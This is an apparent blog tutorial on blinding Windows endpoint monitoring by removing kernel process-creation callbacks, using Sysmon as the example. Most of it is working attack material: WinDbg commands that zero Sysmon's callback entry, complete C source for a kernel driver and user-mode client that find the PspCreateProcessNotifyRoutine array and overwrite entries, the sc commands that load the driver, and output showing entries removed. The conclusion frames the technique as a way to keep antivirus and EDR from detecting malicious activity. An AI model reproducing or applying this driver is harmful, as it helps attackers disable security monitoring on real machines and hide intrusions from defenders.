Kernel callbacks are a mechanism in the Windows kernel that allow the operating system to notify drivers or system components when certain events occur, so they can take action. They are commonly used by Anti-Virus software to monitor events that occur on a system, such as process creation.
In this article we will be looking at disabling process creation callbacks for Microsoft Sysmon.
Configuring Sysmon
Sysmon uses XML configuration files to define the things it’s monitoring. Create the following configuration file.
<Sysmon schemaversion="4.90">
<EventFiltering>
<!-- Log all process creation events -->
<ProcessCreate>
<CommandLine />
<Hashes>SHA1,MD5,SHA256</Hashes>
</ProcessCreate>
</EventFiltering>
</Sysmon>
As an administrator, install the sysmon configuration.
C:\Sysmon>sysmon64.exe -i process_create.xml
System Monitor v15.15 - System activity monitor
By Mark Russinovich and Thomas Garnier
Copyright (C) 2014-2024 Microsoft Corporation
Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.
Sysinternals - www.sysinternals.com
Loading configuration file with schema version 4.90
Error: You need to specifiy the onmatch attribute on ProcessCreate.
Configuration file validated.
Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..
When a new process is created, you should see this in the event logs under:
Applications and Services Logs > Microsoft > Windows > Sysmon > Operational
Event ID 1 will contain the process creation details.

Disabling Process Creation Events using WinDbg
The Kernel maintains an array of pointers to functions that wish to be notified when a process is created, called PspCreateProcessNotifyRoutine. Using WinDbg, we can examine the contents of this array using the display quadword (dqs) command.
0: kd> dqs!PspCreateProcessNotifyRoutine
fffff805`072ffc00 ffffe708`f905839f
fffff805`072ffc08 ffffe708`f94e0d8f
fffff805`072ffc10 ffffe708`f95df36f
fffff805`072ffc18 ffffe708`f95df45f
fffff805`072ffc20 ffffe708`f9790c7f
fffff805`072ffc28 ffffe708`f95df24f
fffff805`072ffc30 ffffe708`fd6ba34f
fffff805`072ffc38 ffffe708`fdf5a22f
fffff805`072ffc40 ffffe708`fdf5b5af
fffff805`072ffc48 00000000`00000000
fffff805`072ffc50 00000000`00000000
fffff805`072ffc58 00000000`00000000
fffff805`072ffc60 00000000`00000000
fffff805`072ffc68 00000000`00000000
fffff805`072ffc70 00000000`00000000
fffff805`072ffc78 00000000`00000000
We can see we have nine entries. To determine what these point to we need to apply a bitwise mask to show where the pointers redirect to.
The bitwise operation “& fffffffffffffff8″ effectively rounds the address down to the nearest 8-byte boundary. This can be necessary to avoid misaligned memory access, which could lead to performance penalties.
Since we’re debugging a remote system, not all the symbols will resolve correctly. Regardless, we can see ninth entry belongs to the Sysmon driver.
0: kd> dps (ffffe708`f905839f & fffffffffffffff8) L1
ffffe708`f9058398 fffff805`0abc6540 cng!CngCreateProcessNotifyRoutine
0: kd> dps (ffffe708`f94e0d8f & fffffffffffffff8) L1
ffffe708`f94e0d88 fffff805`0b708f40Unable to load image WdFilter.sys, Win32 error 0n2
WdFilter+0x48f40
0: kd> dps (ffffe708`f95df36f & fffffffffffffff8) L1
ffffe708`f95df368 fffff805`0aa2b4b0 ksecdd!KsecCreateProcessNotifyRoutine
0: kd> dps (ffffe708`f95df45f & fffffffffffffff8) L1
ffffe708`f95df458 fffff805`0bb7b560 tcpip!CreateProcessNotifyRoutineEx
0: kd> dps (ffffe708`f9790c7f & fffffffffffffff8) L1
ffffe708`f9790c78 fffff805`0ab47910 CI!I_PEProcessNotify
0: kd> dps (ffffe708`f95df24f & fffffffffffffff8) L1
ffffe708`f95df248 fffff805`0c42a090 dxgkrnl!DxgkProcessNotify
0: kd> dps (ffffe708`fd6ba34f & fffffffffffffff8) L1
ffffe708`fd6ba348 fffff805`05afacf0 Unable to load image peauth.sys, Win32 error 0n2
peauth+0x3acf0
0: kd> dps (ffffe708`fdf5a22f & fffffffffffffff8) L1
ffffe708`fdf5a228 fffff805`05cac6e0 Unable to load image KslD.sys, Win32 error 0n2
KslD+0xc6e0
0: kd> dps (ffffe708`fdf5b5af & fffffffffffffff8) L1
ffffe708`fdf5b5a8 fffff805`05d2a250 Unable to load image SysmonDrv.sys, Win32 error 0n2
SysmonDrv+0xa250
We can zero out the entry to prevent Sysmon from receiving any further events.
0: kd> eq fffff805`072ffc40 0
0: kd> dqs!PspCreateProcessNotifyRoutine
fffff805`072ffc00 ffffe708`f905839f
fffff805`072ffc08 ffffe708`f94e0d8f
fffff805`072ffc10 ffffe708`f95df36f
fffff805`072ffc18 ffffe708`f95df45f
fffff805`072ffc20 ffffe708`f9790c7f
fffff805`072ffc28 ffffe708`f95df24f
fffff805`072ffc30 ffffe708`fd6ba34f
fffff805`072ffc38 ffffe708`fdf5a22f
fffff805`072ffc40 00000000`00000000
fffff805`072ffc48 00000000`00000000
fffff805`072ffc50 00000000`00000000
fffff805`072ffc58 00000000`00000000
fffff805`072ffc60 00000000`00000000
fffff805`072ffc68 00000000`00000000
fffff805`072ffc70 00000000`00000000
fffff805`072ffc78 00000000`00000000
On resuming execution, you should no longer see any Sysmon process creation events being generated.
Programatically Disabling Callback Entries
We can disable Kernel callbacks outside of a debugging environment using a Kernel mode driver. To do this, we need a way to dynamically locate where PspCreateProcessNotifyRoutine resides in memory. Let’s look at how we can traverse the data structures to locate it, again using WinDbg.
First, disassemble the PsSetCreateProcessNotifyRoutine function.
0: kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff805`06dfb030 4883ec28 sub rsp,28h
fffff805`06dfb034 8ac2 mov al,dl
fffff805`06dfb036 33d2 xor edx,edx
fffff805`06dfb038 84c0 test al,al
fffff805`06dfb03a 0f95c2 setne dl
fffff805`06dfb03d e8f6020000 call nt!PspSetCreateProcessNotifyRoutine (fffff805`06dfb338)
fffff805`06dfb042 4883c428 add rsp,28h
fffff805`06dfb046 c3 ret
We can see a call to PspSetCreateProcessNotifyRoutine. Let’s disassemble this.
0: kd> U fffff805`06dfb338 L20
nt!PspSetCreateProcessNotifyRoutine:
fffff805`06dfb338 48895c2408 mov qword ptr [rsp+8],rbx
fffff805`06dfb33d 48896c2410 mov qword ptr [rsp+10h],rbp
fffff805`06dfb342 4889742418 mov qword ptr [rsp+18h],rsi
fffff805`06dfb347 57 push rdi
fffff805`06dfb348 4154 push r12
fffff805`06dfb34a 4155 push r13
fffff805`06dfb34c 4156 push r14
fffff805`06dfb34e 4157 push r15
fffff805`06dfb350 4883ec20 sub rsp,20h
fffff805`06dfb354 8bf2 mov esi,edx
fffff805`06dfb356 8bda mov ebx,edx
fffff805`06dfb358 83e602 and esi,2
fffff805`06dfb35b 4c8bf1 mov r14,rcx
fffff805`06dfb35e f6c201 test dl,1
fffff805`06dfb361 0f85ef1f0b00 jne nt!PspSetCreateProcessNotifyRoutine+0xb201e (fffff805`06ead356)
fffff805`06dfb367 85f6 test esi,esi
fffff805`06dfb369 0f848d000000 je nt!PspSetCreateProcessNotifyRoutine+0xc4 (fffff805`06dfb3fc)
fffff805`06dfb36f ba20000000 mov edx,20h
fffff805`06dfb374 e8b369bbff call nt!MmVerifyCallbackFunctionCheckFlags (fffff805`069b1d2c)
fffff805`06dfb379 85c0 test eax,eax
fffff805`06dfb37b 0f8498200b00 je nt!PspSetCreateProcessNotifyRoutine+0xb20e1 (fffff805`06ead419)
fffff805`06dfb381 488bd3 mov rdx,rbx
fffff805`06dfb384 498bce mov rcx,r14
fffff805`06dfb387 e8a4000000 call nt!ExAllocateCallBack (fffff805`06dfb430)
fffff805`06dfb38c 488bf8 mov rdi,rax
fffff805`06dfb38f 4885c0 test rax,rax
fffff805`06dfb392 0f848b200b00 je nt!PspSetCreateProcessNotifyRoutine+0xb20eb (fffff805`06ead423)
fffff805`06dfb398 33db xor ebx,ebx
fffff805`06dfb39a 4c8d2d5f485000 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff805`072ffc00)]
fffff805`06dfb3a1 488d0cdd00000000 lea rcx,[rbx*8]
fffff805`06dfb3a9 4533c0 xor r8d,r8d
fffff805`06dfb3ac 4903cd add rcx,r13
The first load effective address (lea) instruction points to our PspCreateProcessNotifyRoutine array.
0: kd> dqs fffff805`072ffc00
fffff805`072ffc00 ffffe708`f905839f
fffff805`072ffc08 ffffe708`f94e0d8f
fffff805`072ffc10 ffffe708`f95df36f
fffff805`072ffc18 ffffe708`f95df45f
fffff805`072ffc20 ffffe708`f9790c7f
fffff805`072ffc28 ffffe708`f95df24f
fffff805`072ffc30 ffffe708`fd6ba34f
fffff805`072ffc38 ffffe708`fdf5a22f
fffff805`072ffc40 00000000`00000000
fffff805`072ffc48 00000000`00000000
fffff805`072ffc50 00000000`00000000
fffff805`072ffc58 00000000`00000000
fffff805`072ffc60 00000000`00000000
fffff805`072ffc68 00000000`00000000
fffff805`072ffc70 00000000`00000000
fffff805`072ffc78 00000000`00000000
In summary, we need to take these steps.
- Calculate the RVA of PsSetCreateProcessNotifyRoutine in ntoskrnl
- Calculate the offset to the PspSetCreateProcessNotifyRoutine in PsSetCreateProcessNotifyRoutine
- Parse PsSetCreateProcessNotifyRoutine, to find the first LEA instruction (that will point to our PspCreateProcessNotifyRoutine array)
- Finally, overwrite our entry of choice
Creating the Driver
The following driver code allows us to list the process creation callback entries, and their associated memory addresses.
#include <ntifs.h>
#include <ntddk.h>
//
// IOCTL
//
#define IOCTL_DRIVER_CALLBACK_LIST CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DRIVER_ZERO_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define MAX_PROCESS_NOTIFY 64
//
// Callback Type Enum
//
typedef enum _NOTIFY_ROUTINE_TYPE {
ProcessCreateCallback = 0
} NOTIFY_ROUTINE_TYPE;
//
// Callback structure to return memory address and function pointer
//
typedef struct _CALLBACK_ENTRY {
UINT64 MemoryAddress;
UINT64 CallbackAddress;
} CALLBACK_ENTRY, * PCALLBACK_ENTRY;
//
// Structure for Memory Zero Request
//
typedef struct _MEMORY_ZERO_REQUEST {
UINT64 MemoryAddress;
} MEMORY_ZERO_REQUEST, * PMEMORY_ZERO_REQUEST;
//
// PsCreateProcessNotify routine type
//
typedef void (*PCREATE_PROCESS_NOTIFY_ROUTINE)(
_In_ HANDLE ParentId,
_In_ HANDLE ProcessId,
_In_ BOOLEAN Create
);
//
// Forward declarations
//
static UINT64 FindNotifyRoutineAddress(NOTIFY_ROUTINE_TYPE Type);
NTSTATUS ListCallbacks(PVOID OutBuffer, ULONG OutBufferSize, PULONG BytesReturned);
NTSTATUS ZeroMemoryAtAddress(PMEMORY_ZERO_REQUEST Request);
//
// ---------------------------------------------------------------
// Locate PspCreateProcessNotifyRoutine[]
// ---------------------------------------------------------------
//
static UINT64 FindNotifyRoutineAddress(NOTIFY_ROUTINE_TYPE Type)
{
if (Type != ProcessCreateCallback)
return 0;
UNICODE_STRING routineName;
RtlInitUnicodeString(&routineName, L"PsSetCreateProcessNotifyRoutine");
UINT64 routineAddress = (UINT64)MmGetSystemRoutineAddress(&routineName);
if (!routineAddress) {
DbgPrint("[CallbackDriver] MmGetSystemRoutineAddress failed.\n");
return 0;
}
UINT64 tempAddress = 0;
UINT64 notifyArray = 0;
//
// Find CALL/JMP instruction in PsSetCreateProcessNotifyRoutine
//
for (int i = 0; i < 200; i++) {
UCHAR op = *(UCHAR*)(routineAddress + i);
if (op == 0xE8 || op == 0xE9) {
LONG rel = *(LONG*)(routineAddress + i + 1);
tempAddress = routineAddress + i + 5 + rel;
break;
}
}
if (!tempAddress) {
DbgPrint("[CallbackDriver] Failed to locate jump target.\n");
return 0;
}
//
// Scan for LEA reg, [RIP+offset]
//
for (int i = 0; i < 300; i++) {
UCHAR pfx = *(UCHAR*)(tempAddress + i);
if ((pfx == 0x48 || pfx == 0x4C) &&
*(UCHAR*)(tempAddress + i + 1) == 0x8D)
{
LONG rel = *(LONG*)(tempAddress + i + 3);
notifyArray = tempAddress + i + 7 + rel;
break;
}
}
if (!notifyArray) {
DbgPrint("[CallbackDriver] Could not locate PspCreateProcessNotifyRoutine.\n");
}
else {
DbgPrint("[CallbackDriver] Found array at: 0x%llx\n", notifyArray);
}
return notifyArray;
}
//
// ---------------------------------------------------------------
// List the callback pointers and memory addresses into OutBuffer
// ---------------------------------------------------------------
//
NTSTATUS ListCallbacks(PVOID OutBuffer, ULONG OutBufferSize, PULONG BytesReturned)
{
*BytesReturned = 0;
UINT64 notifyArray = FindNotifyRoutineAddress(ProcessCreateCallback);
if (!notifyArray)
return STATUS_UNSUCCESSFUL;
ULONG maxEntries = OutBufferSize / sizeof(CALLBACK_ENTRY); // Size of the new structure
ULONG count = 0;
__try {
for (int i = 0; i < MAX_PROCESS_NOTIFY; i++) {
UINT64 entry = ((UINT64*)notifyArray)[i];
if (entry != 0) {
if (count < maxEntries) {
// Fill the structure with memory address and callback address
PCALLBACK_ENTRY callbackEntry = (PCALLBACK_ENTRY)(OutBuffer)+count;
callbackEntry->MemoryAddress = notifyArray + i * sizeof(UINT64); // Calculate memory address
callbackEntry->CallbackAddress = entry;
count++;
}
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DbgPrint("[CallbackDriver] Exception reading kernel memory.\n");
return STATUS_ACCESS_VIOLATION;
}
*BytesReturned = count * sizeof(CALLBACK_ENTRY);
DbgPrint("[CallbackDriver] Returned %lu callback entries.\n", count);
return STATUS_SUCCESS;
}
//
// ---------------------------------------------------------------
// Zero memory at the provided address
// ---------------------------------------------------------------
NTSTATUS ZeroMemoryAtAddress(PMEMORY_ZERO_REQUEST Request)
{
if (!Request || Request->MemoryAddress == 0)
return STATUS_INVALID_PARAMETER;
PVOID target = (PVOID)Request->MemoryAddress;
__try {
// Now zero 8 bytes at that location
RtlZeroMemory(target, sizeof(UINT64));
DbgPrint("[CallbackDriver] RtlZeroMemory() wrote 0 to: 0x%llx\n", Request->MemoryAddress);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DbgPrint("[CallbackDriver] Access violation while writing 0x%llx\n", Request->MemoryAddress);
return STATUS_ACCESS_VIOLATION;
}
return STATUS_SUCCESS;
}
//
// ---------------------------------------------------------------
// IRP_MJ_DEVICE_CONTROL handler
// ---------------------------------------------------------------
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG outLen = stack->Parameters.DeviceIoControl.OutputBufferLength;
ULONG inLen = stack->Parameters.DeviceIoControl.InputBufferLength;
ULONG code = stack->Parameters.DeviceIoControl.IoControlCode;
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
ULONG bytesReturned = 0;
switch (code)
{
case IOCTL_DRIVER_CALLBACK_LIST:
if (outLen < sizeof(CALLBACK_ENTRY)) {
status = STATUS_BUFFER_TOO_SMALL;
break;
}
status = ListCallbacks(
Irp->AssociatedIrp.SystemBuffer,
outLen,
&bytesReturned
);
break;
case IOCTL_DRIVER_ZERO_MEMORY:
DbgPrint("[CallbackDriver] IOCTL_DRIVER_ZERO_MEMORY received.\n");
// Check if the input buffer size is sufficient
if (inLen < sizeof(MEMORY_ZERO_REQUEST)) {
DbgPrint("[CallbackDriver] Input buffer size too small. Expected: %zu, Received: %lu\n", sizeof(MEMORY_ZERO_REQUEST), inLen);
status = STATUS_BUFFER_TOO_SMALL;
break;
}
PMEMORY_ZERO_REQUEST zeroRequest = (PMEMORY_ZERO_REQUEST)Irp->AssociatedIrp.SystemBuffer;
DbgPrint("[CallbackDriver] Zeroing memory at address: 0x%llx\n", zeroRequest->MemoryAddress);
status = ZeroMemoryAtAddress(zeroRequest);
if (NT_SUCCESS(status)) {
DbgPrint("[CallbackDriver] Successfully zeroed memory at address: 0x%llx\n", zeroRequest->MemoryAddress);
}
else {
DbgPrint("[CallbackDriver] Failed to zero memory at address: 0x%llx, Status: 0x%08X\n", zeroRequest->MemoryAddress, status);
}
break;
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Information = bytesReturned;
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
//
// ---------------------------------------------------------------
// IRP_MJ_CREATE / CLOSE
// ---------------------------------------------------------------
NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
//
// ---------------------------------------------------------------
// Driver Unload
// ---------------------------------------------------------------
VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\CallbackProc");
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("[CallbackDriver] Unloaded.\n");
}
//
// ---------------------------------------------------------------
// Driver Entry
// ---------------------------------------------------------------
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS status;
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\CallbackDevice");
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\CallbackProc");
status = IoCreateDevice(
DriverObject,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&deviceObject
);
if (!NT_SUCCESS(status)) {
DbgPrint("[CallbackDriver] IoCreateDevice failed: 0x%08X\n", status);
return status;
}
status = IoCreateSymbolicLink(&symLink, &deviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(deviceObject);
return status;
}
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
DriverObject->DriverUnload = DriverUnload;
DbgPrint("[CallbackDriver] Loaded successfully.\n");
return STATUS_SUCCESS;
}
Load the driver using the service control (sc) command.
sc create CallBackDriver type= kernel binPath= C:\CallbackDriver.sys
[SC] CreateService SUCCESS
sc start CallBackDriver
SERVICE_NAME: CallBackDriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
As usual, we can interface with the client using a user mode application that implements IOCTL’s for communication.
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#define WIN32_LEAN_AND_MEAN
#define IOCTL_DRIVER_CALLBACK_LIST \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DRIVER_ZERO_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define MAX_CALLBACKS 64
typedef struct _CALLBACK_ENTRY {
UINT64 MemoryAddress;
UINT64 CallbackAddress;
} CALLBACK_ENTRY, * PCALLBACK_ENTRY;
typedef struct _MEMORY_ZERO_REQUEST {
UINT64 MemoryAddress;
} MEMORY_ZERO_REQUEST, * PMEMORY_ZERO_REQUEST;
void ListCallbacks(HANDLE hDevice) {
CALLBACK_ENTRY callbackList[MAX_CALLBACKS] = { 0 };
DWORD bytesReturned = 0;
printf("[+] Requesting process creation callback list...\n");
BOOL success = DeviceIoControl(
hDevice,
IOCTL_DRIVER_CALLBACK_LIST,
NULL, 0,
callbackList,
sizeof(callbackList),
&bytesReturned,
NULL
);
if (!success) {
printf("[-] DeviceIoControl failed (IOCTL_DRIVER_CALLBACK_LIST): %lu\n", GetLastError());
return;
}
int count = bytesReturned / sizeof(CALLBACK_ENTRY);
printf("[+] Driver returned %d callback entries:\n\n", count);
for (int i = 0; i < count; i++) {
printf(" [%02d] Memory Address: 0x%llx Callback Address: 0x%llx\n", i, callbackList[i].MemoryAddress, callbackList[i].CallbackAddress);
}
printf("\n[+] Done.\n");
}
void ZeroMemoryAtAddress(HANDLE hDevice, UINT64 addressToZero) {
MEMORY_ZERO_REQUEST zeroRequest;
zeroRequest.MemoryAddress = addressToZero;
printf("[+] Sending memory zero request for address: 0x%llx...\n", addressToZero);
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice,
IOCTL_DRIVER_ZERO_MEMORY,
&zeroRequest, sizeof(zeroRequest),
NULL, 0,
&bytesReturned,
NULL
);
if (!success) {
printf("[-] DeviceIoControl failed (IOCTL_DRIVER_ZERO_MEMORY): %lu\n", GetLastError());
}
else {
printf("[+] Successfully zeroed memory at: 0x%llx\n", addressToZero);
}
}
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <list|zero> [address]\n", argv[0]);
return 1;
}
if (_stricmp(argv[1], "list") == 0) {
HANDLE hDevice = CreateFileA(
"\\\\.\\CallbackProc",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 2;
}
ListCallbacks(hDevice);
CloseHandle(hDevice);
}
else if (_stricmp(argv[1], "zero") == 0) {
if (argc < 3) {
printf("[-] Memory address must be provided for zero operation.\n");
return 3;
}
UINT64 addressToZero = strtoull(argv[2], NULL, 16); // Convert hex string to address (e.g., 0x123456789ABC)
HANDLE hDevice = CreateFileA(
"\\\\.\\CallbackProc",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 4;
}
ZeroMemoryAtAddress(hDevice, addressToZero);
CloseHandle(hDevice);
}
else {
printf("[-] Invalid argument. Use 'list' to list callback addresses or 'zero <address>' to zero memory.\n");
return 5;
}
return 0;
}
Testing the Code
Running the code, we can see it’s retrieving the contents of the PspCreateProcessNotifyRoutine array, and we can supply memory addresses to remove from the array.
C:\>CallbackClient.exe list
[+] Requesting process creation callback list...
[+] Driver returned 7 callback entries:
[00] Memory Address: 0xfffff805072ffc00 Callback Address: 0xffffe708f905839f
[01] Memory Address: 0xfffff805072ffc08 Callback Address: 0xffffe708f94e0d8f
[02] Memory Address: 0xfffff805072ffc10 Callback Address: 0xffffe708f95df36f
[03] Memory Address: 0xfffff805072ffc18 Callback Address: 0xffffe708f95df45f
[04] Memory Address: 0xfffff805072ffc20 Callback Address: 0xffffe708f9790c7f
[05] Memory Address: 0xfffff805072ffc28 Callback Address: 0xffffe708f95df24f
[06] Memory Address: 0xfffff805072ffc30 Callback Address: 0xffffe708fd6ba34f
[+] Done.
C:\>CallbackClient.exe zero 0xfffff805072ffc30
[+] Sending memory zero request for address: 0xfffff805072ffc30...
[+] Successfully zeroed memory at: 0xfffff805072ffc30
C:\>CallbackClient.exe list
[+] Requesting process creation callback list...
[+] Driver returned 6 callback entries:
[00] Memory Address: 0xfffff805072ffc00 Callback Address: 0xffffe708f905839f
[01] Memory Address: 0xfffff805072ffc08 Callback Address: 0xffffe708f94e0d8f
[02] Memory Address: 0xfffff805072ffc10 Callback Address: 0xffffe708f95df36f
[03] Memory Address: 0xfffff805072ffc18 Callback Address: 0xffffe708f95df45f
[04] Memory Address: 0xfffff805072ffc20 Callback Address: 0xffffe708f9790c7f
[05] Memory Address: 0xfffff805072ffc28 Callback Address: 0xffffe708f95df24f
[+] Done.
In Conclusion
Removing callback entries will assist in preventing Anti-Virus and EDR software from being able to detect malicious activity on an endpoint. Getting the malicious driver loaded in the first place will require disabling Driver Signing Enforcement.